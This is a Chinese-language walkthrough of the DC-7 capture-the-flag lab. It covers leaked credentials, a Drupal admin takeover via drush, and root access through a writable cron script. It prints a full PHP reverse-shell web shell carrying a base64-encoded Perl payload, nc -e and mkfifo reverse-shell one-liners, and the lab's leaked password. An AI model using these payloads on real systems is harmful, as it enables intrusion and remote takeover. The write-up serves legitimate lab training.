目录
DC-7靶场下载地址https://www.five86.com/downloads/DC-7.zip
arp-scan -l
扫了半天也没扫出个有用的
提示我们跳出思维惯性,换种方法进行渗透,可以发现下面有个@DC7USER
搜索发现,源码泄露了,而且是官方泄露的
废话不多说,先查看github上的源码
在配置文件里发现了个账号
dc7user:MdR3xOgB7#dW
测试发现登不进后台,但是能登进ssh
ssh dc7user@192.168.120.141
探索过程中发现个文件,这里好像还不能提权
cat mbox
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
ls -la
-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口
想写入东西反弹root的shell的,但是没有权限(我就知道没那么简单),不管了,先去瞧瞧里面写有啥
- cd /opt/scripts
-
- cat *
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令
这个命令需要先切换到drupal的目录
cd /var/www/html
通过命令我们发现了个管理员账号admin
drush user-information admin
接下来修改admin的密码
drush upwd admin --password="passwd"
接着我们登入管理员后台/user/login
登入成功
进入了后台,想办法写个马进行反弹shell
找到了编辑文件的地方,但是没有PHP解释器,但是在扩展里可以安装
PHP解释器Drupal官方连接
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
填入连接后点击安装
文件下载完成,接着启动PHP编辑器
安装完成后在内容编辑的地方出现了PHP code
,接着我们添加php代码
写入PHP反弹shell
- function which($pr) {
- $path = execute("which $pr");
- return ($path ? $path : $pr);
- }
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- }
- elseif(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- function cf($fname,$text){
- if($fp=@fopen($fname,'w')) {
- @fputs($fp,@base64_decode($text));
- @fclose($fp);
- }
- }
- $yourip = "your IP"; #监听ip
- $yourport = 'your port'; #监听端口
- $usedb = array('perl'=>'perl','c'=>'c');
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
- cf('/tmp/.bc',$back_connect);
- $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
- ?>
点击保存后会自动执行该PHP代码,先监听端口再保存
nc -lvp 6666
反弹shell成功,升级交互shell
python -c "import pty;pty.spawn('/bin/bash')"
之前的提权方法都没有用,接下来我们利用root的定时任务进行提权
我们可以写个反弹shell的命令下去
echo "nc -e /bin/bash 192.168.120.129 5555" >> /opt/scripts/backups.sh
写入成功,先监听端口
nc -lvp 5555
接下来只要等待backups.sh文件定时root权限执行就好了
提权成功!
cat /root/*
拿到flag
信息收集很关键,要善于利用搜索引擎,搜索关键词并寻找突破口
crontab -l #查看定时任务
有些操作系统的netcat不支持-e参数,这时候可以利用管道符命令mkfifo配合nc进行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [监听IP] [监听PORT] >/tmp/f